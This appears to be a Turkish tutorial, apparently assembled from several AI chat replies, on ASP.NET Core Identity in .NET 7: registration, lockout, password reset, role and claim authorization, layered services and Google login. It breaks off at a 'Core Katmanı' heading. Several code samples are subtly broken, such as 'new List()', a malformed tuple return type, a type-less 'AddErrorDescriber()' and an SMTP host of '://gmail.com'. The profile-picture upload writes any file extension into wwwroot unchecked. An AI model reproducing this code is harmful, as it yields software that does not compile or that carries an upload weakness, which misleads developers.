 

public class AppDbContext : IdentityDbContext<AppUser, AppRole, string>

{

    public AppDbContext(DbContextOptions<AppDbContext> options) : base(options)

    {

    }

}

Program.cs İçindeki Konfigürasyon:
Uygulamanın veritabanı bağlantısını ve Identity servislerini tanıması için
Program.cs dosyasına şu ayarları ekleriz:

builder.Services.AddDbContext<AppDbContext>(options =>

    options.UseSqlServer(builder.Configuration.GetConnectionString("DefaultConnection")));

 

builder.Services.AddIdentity<AppUser, AppRole>()

    .AddEntityFrameworkStores<AppDbContext>();

Bu işlemden sonra Paket Yönetim Konsolu (Package Manager Console) üzerinden Add-Migration InitialCreate ve Update-Database komutlarını çalıştırdığımızda SQL Server üzerinde otomatik olarak AspNetUsers, AspNetRoles, AspNetUserClaims gibi temel Identity tabloları oluşturulur.


🔐 MODÜL 3: Kullanıcı Kayıt ve Giriş İşlemleri (.NET 7)

Kullanıcı etkileşimlerini yönetmek için öncelikle verileri taşımak adına ViewModel yapıları kurmalıyız.

1. Üye Ol (SignUp) Aşaması

SignUpViewModel Yapısı:

using System.ComponentModel.DataAnnotations;

 

public class SignUpViewModel

{

    [Required(ErrorMessage = "Kullanıcı adı zorunludur.")]

    public string UserName { get; set; }

 

    [EmailAddress(ErrorMessage = "Geçerli bir e-posta adresi giriniz.")]

    [Required(ErrorMessage = "E-posta adresi zorunludur.")]

    public string Email { get; set; }

 

    [Required(ErrorMessage = "Şifre zorunludur.")]

    [DataType(DataType.Password)]

    public string Password { get; set; }

 

    [Compare("Password", ErrorMessage = "Şifreler uyuşmuyor.")]

    [DataType(DataType.Password)]

    public string ConfirmPassword { get; set; }

}

💻 Uygulama: SignUp Action Method Kodlaması

public class HomeController : Controller

{

    private readonly UserManager<AppUser> _userManager;

 

    public HomeController(UserManager<AppUser> userManager)

    {

        _userManager = userManager;

    }

 

    [HttpGet]

    public IActionResult SignUp() => View();

 

    [HttpPost]

    public async Task<IActionResult> SignUp(SignUpViewModel model)

    {

        if (!ModelState.IsValid) return View(model);

 

        AppUser user = new AppUser

        {

            UserName = model.UserName,

            Email = model.Email

        };

 

        // CreateAsync şifreyi otomatik olarak hashleyerek veritabanına kaydeder.

        IdentityResult result = await _userManager.CreateAsync(user, model.Password);

 

        if (result.Succeeded)

        {

            return RedirectToAction("SignIn");

        }

 

        // Eğer hata varsa ModelState'e ekleyip arayüzde gösteriyoruz

        foreach (var error in result.Errors)

        {

            ModelState.AddModelError(string.Empty, error.Description);

        }

 

        return View(model);

    }

}

2. Özelleştirilmiş Şifre ve Kullanıcı Doğrulamaları (IPasswordValidator & IUserValidator)

Identity varsayılan olarak şifrelerde büyük harf, rakam ve sembol zorunluluğu getirir. Bunları Program.cs üzerinden esnetebilir veya kendi kurallarımızı yazabiliriz.

Custom Password Validator Örneği:
Kullanıcının şifresinin kullanıcı adını içermesini engellemek istiyoruz.

using Microsoft.AspNetCore.Identity;

 

public class CustomPasswordValidator : IPasswordValidator<AppUser>

{

    public Task ValidateAsync(UserManager<AppUser> manager, AppUser user, string? password)

    {

        var errors = new List();

 

        if (password != null && password.Contains(user.UserName!))

        {

            errors.Add(new IdentityError

            {

                Code = "PasswordContainsUserName",

                Description = "Şifre alanı kullanıcı adı içeremez."

            });

        }

 

        return Task.FromResult(errors.Count == 0 ? IdentityResult.Success : IdentityResult.Failed(errors.ToArray()));

    }

}

Identity Hata Mesajlarını Türkçeleştirme (IdentityErrorDescriber):
Identity varsayılan olarak İngilizce hata döndürür. Bunu ezmek için bir sınıf oluştururuz:

public class CustomIdentityErrorDescriber : IdentityErrorDescriber

{

    public override IdentityError DuplicateUserName(string userName)

    {

        return new IdentityError { Code = "DuplicateUserName", Description = $"'{userName}' kullanıcı adı zaten alınmış." };

    }

    public override IdentityError PasswordTooShort(int length)

    {

        return new IdentityError { Code = "PasswordTooShort", Description = $"Şifre en az {length} karakter olmalıdır." };

    }

}

Program.cs Kaydı:

builder.Services.AddIdentity<AppUser, AppRole>(options => {

    options.Password.RequiredLength = 6;

    options.Password.RequireNonAlphanumeric = false;

})

.AddPasswordValidator<CustomPasswordValidator>()

.AddErrorDescriber()

.AddEntityFrameworkStores<AppDbContext>();

3. Üye Girişi (SignIn) ve Kilit Mekanizması (LockoutOnFailure)

Giriş işlemlerinde SignInManager servisi kullanılır.

[HttpPost]

public async Task<IActionResult> SignIn(SignInViewModel model, string? returnUrl = null)

{

    if (!ModelState.IsValid) return View(model);

 

    var user = await _userManager.FindByEmailAsync(model.Email);

    if (user == null)

    {

        ModelState.AddModelError(string.Empty, "E-posta veya şifre hatalı.");

        return View(model);

    }

 

    // IsPersistent: Beni Hatırla seçeneğidir.

    // lockoutOnFailure: true verilirse art arda hatalı girişlerde hesap kilitlenir.

    var result = await _signInManager.PasswordSignInAsync(user, model.Password, model.RememberMe, lockoutOnFailure: true);

 

    if (result.Succeeded)

    {

        if (!string.IsNullOrEmpty(returnUrl) && Url.IsLocalUrl(returnUrl))

            return Redirect(returnUrl);

           

        return RedirectToAction("Index", "Member");

    }

 

    if (result.IsLockedOut)

    {

        ModelState.AddModelError(string.Empty, "Hesabınız çok fazla hatalı girişten dolayı 5 dakika kilitlenmiştir.");

    }

    else

    {

        ModelState.AddModelError(string.Empty, "E-posta veya şifre hatalı.");

    }

 

    return View(model);

}


🔑 MODÜL 4: Şifre Sıfırlama Mekanizması (.NET 7)

Identity sistemlerinde şifre sıfırlama işlemi benzersiz ve güvenli bir Token yardımıyla yapılır.

💻 Uygulama: Adım Adım Şifre Sıfırlama Akışı

  1. Kullanıcı Link Talebi Oluşturur: Kullanıcı e-posta adresini girer. Sistem kullanıcıyı doğrularsa arka planda özel bir token üretir.
  2. E-posta Servisi Çalışır: Smtp ayarları üzerinden kullanıcının mail adresine sıfırlama linki (/Home/ResetPassword?userId=...&token=...) gönderilir.
  3. Token Geçerlilik Süresi: Güvenlik gereği bu token üretilirken Program.cs üzerinde ömür biçilir (Örn: 2 saat).
  4. Güvenlik Damgaları (SecurityStamp & ConcurrencyStamp):

Şifre Unuttum Post Metodu:

[HttpPost]

public async Task<IActionResult> ForgetPassword(ForgetPasswordViewModel model)

{

    var user = await _userManager.FindByEmailAsync(model.Email);

    if (user == null) return View(); // Güvenlik nedeniyle kullanıcı yok dememek tercih edilebilir.

 

    // Benzersiz sıfırlama tokenı üretiliyor

    string passwordResetToken = await _userManager.GeneratePasswordResetTokenAsync(user);

 

    // Sıfırlama linki oluşturuluyor

    var passwordResetLink = Url.Action("ResetPassword", "Home", new { userId = user.Id, token = passwordResetToken }, HttpContext.Request.Scheme);

   

    // E-posta gönderme servisinizi burada çağırırsınız:

    // _emailService.SendResetPasswordEmail(user.Email, passwordResetLink);

 

    return View();

}


👤 MODÜL 5: Üye Sayfalarının Yönetimi ve Profil Düzenleme

Kullanıcı sisteme giriş yaptıktan sonra sadece yetkili kullanıcıların görebileceği MemberController devreye girer. Bu controller başına [Authorize] niteliği (attribute) eklenerek korunur.

💻 Uygulama: Profil Bilgilerini Güncelleme ve Resim Yükleme

Giriş yapmış kullanıcının profil resmi ve bilgilerini güncellediği sayfayı tasarlarken, formu gönderirken görsel taşıyacağımız için HTML formunun enctype="multipart/form-data" özelliğine sahip olması şarttır.

[Authorize]

[HttpPost]

public async Task<IActionResult> UserEdit(UserEditViewModel model)

{

    if (!ModelState.IsValid) return View(model);

 

    var user = await _userManager.FindByNameAsync(User.Identity!.Name!);

 

    user.PhoneNumber = model.PhoneNumber;

    user.City = model.City;

    user.BirthDate = model.BirthDate;

    user.Gender = model.Gender;

 

    // Fotoğraf yükleme işlemi

    if (model.PictureFile != null && model.PictureFile.Length > 0)

    {

        var randomFileName = $"{Guid.NewGuid()}{Path.GetExtension(model.PictureFile.FileName)}";

        var path = Path.Combine(Directory.GetCurrentDirectory(), "wwwroot/img", randomFileName);

 

        using (var stream = new FileStream(path, FileMode.Create))

        {

            await model.PictureFile.CopyToAsync(stream);

        }

        user.Picture = randomFileName;

    }

 

    var result = await _userManager.UpdateAsync(user);

    if (result.Succeeded)

    {

        // Bilgiler güncellendiği için Güvenlik Damgasını yenileyip oturumu tazelememiz gerekir.

        await _userManager.UpdateSecurityStampAsync(user);

        await _signInManager.SignOutAsync();

        await _signInManager.SignInAsync(user, isPersistent: true);

       

        return RedirectToAction("Index");

    }

    return View(model);

}


🏷️ MODÜL 6: Rol Tabanlı Yetkilendirme (Role Based Authorization)

Rol tabanlı yetkilendirme, kullanıcıları belirli gruplara (Admin, Manager, Member) atayarak sayfa veya aksiyon bazlı kısıtlamalar yapmayı sağlar.

💻 Uygulama: Rol Atama ve Sayfa Kısıtlama

Bir aksiyona sadece Admin rolündeki kişilerin girmesini istiyorsak:

[Authorize(Roles = "Admin")]

public IActionResult AdminPanel()

{

    return View();

}

Kullanıcıya Rol Atama Arka Plan Kodu:

public async Task<IActionResult> AssignRole(string userId, List<AssignRoleViewModel> models)

{

    var user = await _userManager.FindByIdAsync(userId);

   

    foreach (var role in models)

    {

        if (role.Exists)

        {

            // Kullanıcıya ilgili rol eklenir

            await _userManager.AddToRoleAsync(user!, role.RoleName);

        }

        else

        {

            // Kullanıcıdan ilgili rol kaldırılır

            await _userManager.RemoveFromRoleAsync(user!, role.RoleName);

        }

    }

    return RedirectToAction("UserList");

}


🪪 MODÜL 7: Claim Tabanlı Yetkilendirme (Claim Based Authorization)

Roller bazen çok katı kalabilir. Claim, kullanıcıya ait herhangi bir iddia veya bilgidir (Örn: "Doğum Tarihi", "Yaşadığı Şehir", "E-posta Adresi"). Claim tabanlı yetkilendirmede roller yerine bu esnek belgeler kontrol edilir.

💻 Uygulama: Yaş Sınırı Politikası (Policy) Oluşturma

Senaryo: Kullanıcının doğum tarihine bakarak 18 yaşından küçüklerin girmesini engelleyen bir politika (Policy) yazalım.

İlk olarak bir Requirement (Gereksinim) sınıfı yazıyoruz:

using Microsoft.AspNetCore.Authorization;

 

public class AgeRequirement : IAuthorizationRequirement

{

    public int MinimumAge { get; }

    public AgeRequirement(int minimumAge) => MinimumAge = minimumAge;

}

Şimdi bu gereksinimi işleyecek olan Handler (İşleyici) sınıfını kodlayalım:

public class AgeAuthorizationHandler : AuthorizationHandler<AgeRequirement>

{

    protected override Task HandleRequirementAsync(AuthorizationHandlerContext context, AgeRequirement requirement)

    {

        // Kullanıcının claim listesinden doğum tarihini arıyoruz

        var birthDateClaim = context.User.FindFirst(c => c.Type == ClaimTypes.DateOfBirth);

 

        if (birthDateClaim == null)

        {

            return Task.CompletedTask; // Eşleşme yoksa yetki verilmez

        }

 

        var birthDate = Convert.ToDateTime(birthDateClaim.Value);

        int age = DateTime.Today.Year - birthDate.Year;

 

        if (age >= requirement.MinimumAge)

        {

            context.Succeed(requirement); // Şart sağlanırsa yetki onaylanır

        }

 

        return Task.CompletedTask;

    }

}

Program.cs İçinde Politikanın Kaydedilmesi:

builder.Services.AddAuthorization(options =>

{

    options.AddPolicy("AdultPolicy", policy =>

        policy.Requirements.Add(new AgeRequirement(18)));

});

 

builder.Services.AddSingleton<IAuthorizationHandler, AgeAuthorizationHandler>();

Controller Üzerinde Kullanımı:

[Authorize(Policy = "AdultPolicy")]

public IActionResult MatureContent()

{

    return View();

}


🏗️ MODÜL 8: Katmanlı Mimari Entegrasyonu (N-Layer Architecture)

Büyük projelerde tüm Identity yapılarını doğrudan UI (Arayüz) katmanında tutmak kod karmaşasına sebep olur. Kodları sorumluluklarına göre katmanlara ayırmalıyız:

  1. Core Katmanı (Class Library): AppUser, AppRole gibi entity sınıfları, DTO'lar ve ViewModeller yer alır. Hiçbir katmana bağımlı değildir.
  2. Repository / DataAccess Katmanı (Class Library): Veritabanı context yapısı (AppDbContext) ve veritabanı göç işlemleri (Migrations) bu katmandadır.
  3. Service Katmanı (Class Library): İş mantığının (Business Logic) döndüğü yerdir. Örneğin şifre değiştirme işlemi CheckPassword kontrolü ve validation sonuçlarının yorumlanması burada yapılır. UI buradaki metotları çağırır.
  4. UI Katmanı (Web App): Sadece arayüz, controller'lar ve görsel tasarımlar bulunur. Servis katmanından gelen verileri son kullanıcıya gösterir.

Katmanlar arası iletişim, bağımlılıkların gevşek tutulması amacıyla Dependency Injection (Bağımlılık Enjeksiyonu) yöntemiyle Program.cs üzerinden yönetilir.


🌐 MODÜL 9: Üçüncü Taraf Kimlik Doğrulaması (Google & Facebook Authentication)

Kullanıcıların sitenize üye olmak yerine mevcut sosyal medya hesaplarıyla giriş yapmasını sağlar.

Genel İşleyiş Adımları:

  1. Geliştirici Paneli Ayarları: Google Developer Console veya Facebook Developers üzerinden bir uygulama oluşturularak Client ID ve Client Secret anahtarları alınır. Sitenizin geri dönüş adresi (Callback URL) buraya kaydedilir.
  2. Projenin Yapılandırılması: İlgili harici kimlik doğrulama paketleri projeye eklenir.

builder.Services.AddAuthentication()

    .AddGoogle(options =>

    {

        options.ClientId = builder.Configuration["Authentication:Google:ClientId"]!;

        options.ClientSecret = builder.Configuration["Authentication:Google:ClientSecret"]!;

    });

  1. Harici Giriş Akışı: Kullanıcı "Google ile Giriş Yap" butonuna bastığında Identity sistemi kullanıcıyı Google giriş sayfasına yönlendirir. Google başarılı giriş sonrası sitenize bir token döndürür. SignInManager.GetExternalLoginInfoAsync() metodu ile bu token okunur, eğer kullanıcı sistemde yoksa otomatik hesabı oluşturulur ve oturumu açılır.

 

 

Metninizde yer alan ana müfredat başlıklarını, mimari katmanları ve modern teknikleri bir önceki aşamada detaylıca inceledik. Belgenizin geri kalan kısmında ise geriye "ESKİ" ve "[Eski Yöntem]" olarak etiketlenmiş geçmiş dönem ASP.NET Core sürümlerine ait geriye dönük (legacy) pratikler ile N-Layer Architecture (Katmanlı Mimari) başlığının altındaki servis entegrasyonu detayları kalmıştır.

Müfredatın bu kalan kısımlarını, eski yöntemler ile yeni .NET 7+ yaklaşımları arasındaki farkları da vurgulayarak satır satır detaylandıralım ve pratik uygulamalarla tamamlayalım.


🏗️ MODÜL 8: Katmanlı Mimari Detayları (N-Layer Architecture - Devamı)

Katmanlı mimaride kullanıcı işlemlerini UI katmanından soyutlamak adına, UserManager ve SignInManager gibi hazır Identity servislerini sarmalayan (wrap eden) bir MemberService yapısı kurulur.

💻 Uygulama: Service Katmanında Şifre Doğrulama ve Güncelleme

Kullanıcının mevcut şifresini kontrol edip yeni şifre atamasını gerçekleştiren servis metodunun ve UI katmanındaki karşılığının mimari tasarımı şu şekildedir:

1. Service Katmanı Yapısı (Business/Service Layer):
Bu katmanda Identity servislerinin sonuçlarını (
IdentityResult) ele alarak, arayüze temiz veri veya özelleştirilmiş hata mesajları taşırız.

namespace MyProject.Service

{

    public class MemberService : IMemberService

    {

        private readonly UserManager<AppUser> _userManager;

 

        public MemberService(UserManager<AppUser> userManager)

        {

            _userManager = userManager;

        }

 

        public async Task? errors)> ChangePasswordAsync(string userName, string oldPassword, string newPassword)

        {

            // 1. İlgili kullanıcı kullanıcı adından bulunur

            var user = await _userManager.FindByNameAsync(userName);

            if (user == null)

            {

                return (IdentityResult.Failed(), new List<string> { "Kullanıcı bulunamadı." });

            }

 

            // 2. CheckPasswordAsync ile mevcut şifrenin doğruluğu kontrol edilir

            bool isPasswordCorrect = await _userManager.CheckPasswordAsync(user, oldPassword);

            if (!isPasswordCorrect)

            {

                return (IdentityResult.Failed(), new List<string> { "Mevcut şifreniz hatalıdır." });

            }

 

            // 3. Şifre değiştirme işlemi gerçekleştirilir

            var result = await _userManager.ChangePasswordAsync(user, oldPassword, newPassword);

           

            if (!result.Succeeded)

            {

                // Hataları listeye dökerek UI katmanına fırlatıyoruz

                var errorList = result.Errors.Select(x => x.Description).ToList();

                return (result, errorList);

            }

 

            // 4. Başarılı ise Güvenlik Damgası (SecurityStamp) güncellenir

            await _userManager.UpdateSecurityStampAsync(user);

            return (IdentityResult.Success, null);

        }

    }

}

2. UI Katmanından Servisin Çağrılması (Presentation Layer):
Controller, doğrudan veritabanı veya Identity kütüphanesiyle konuşmak yerine yukarıda yazdığımız servisi enjekte eder.

[Authorize]

[HttpPost]

public async Task<IActionResult> PasswordChange(PasswordChangeViewModel model)

{

    if (!ModelState.IsValid) return View(model);

 

    // Giriş yapmış kullanıcının adını servise gönderiyoruz

    var (result, errors) = await _memberService.ChangePasswordAsync(User.Identity!.Name!, model.OldPassword, model.NewPassword);

 

    if (!result.Succeeded)

    {

        foreach (var error in errors!)

        {

            ModelState.AddModelError(string.Empty, error);

        }

        return View(model);

    }

 

    TempData["SuccessMessage"] = "Şifreniz başarıyla değiştirilmiştir. Lütfen yeniden giriş yapınız.";

    return RedirectToAction("SignIn", "Home");

}


🕰️ MODÜL 10: Geçmiş Dönem Yöntemleri ve Revizyonlar (ESKİ / Legacy)

Belgenizin son bölümlerinde yer alan "ESKİ" ibareli içerikler, ASP.NET Core'un eski sürümlerindeki senaryoları ve hata yönetimi pratiklerini barındırır. Modern projelerde bu yapıların nasıl dönüştüğünü bilmek, eski (legacy) kodları taşırken (migration) kritik önem taşır.

1. Eski Sürüm Üye Ol (SignUp) Akışı ve AppUser Eşleştirmeleri

Eski sürümlerde veri transfer nesneleri (DTO/ViewModel) ile veritabanı nesnelerini (AppUser) eşleştirirken (mapping) tüm alanlar tek tek el yardımıyla controller içerisinde eşitlenirdi.

2. Eski Sürüm Merkezi Hata Sayfası Yönetimi (Error.cshtml)

Giriş veya kayıt esnasında oluşan validasyon hatalarını veya sistem arızalarını toplu olarak göstermek için eski yapılarda özel döngüler kurulurdu.

@model List<string>

 

<div class="alert alert-danger">

    <h4>İşlem Sırasında Bir Hata Oluştu:</h4>

    <ul>

        @* Model içerisindeki tüm hatalar foreach ile tek tek arayüze basılır *@

        @foreach (var error in Model)

        {

            <li>@error</li>

        }

    </ul>

</div>

3. Microsoft Hesabı İle Kimlik Doğrulama (Eski Yöntem vs Yeni Yöntem)

Microsoft (Live/Outlook) hesaplarıyla harici giriş sağlamak, kimlik doğrulama protokollerinin evrimiyle birlikte değişime uğramıştır.


 

İstediğiniz tüm profesyonel altyapı bileşenlerini, projenizin ilgili katmanlarına yerleştirebileceğiniz şekilde, .NET 7 ve üzeri modern standartlara uygun olarak hazırladım.


1. SMTP Tabanlı Gerçek E-posta Gönderim Servisi (IEmailSender)

E-posta şifrelerinin kodun içine açıkça yazılması (hardcoded) güvenlik açığı yaratır. Bu yüzden SMTP ayarlarını appsettings.json dosyasından okuyacak şekilde dinamik bir yapı kuruyoruz.

appsettings.json Ayarları

{

  "EmailSettings": {

    "Host": "://gmail.com",

    "Port": 587,

    "Email": "projeniz@gmail.com",

    "Password": "abcdefghijklmnop",

    "EnableSsl": true

  }

}

(Not: Gmail kullanıyorsanız, buradaki şifre e-posta şifreniz değil, Google hesabınızdan alacağınız 16 haneli "Uygulama Şifresi" (App Password) olmalıdır.)

Core Katmanı: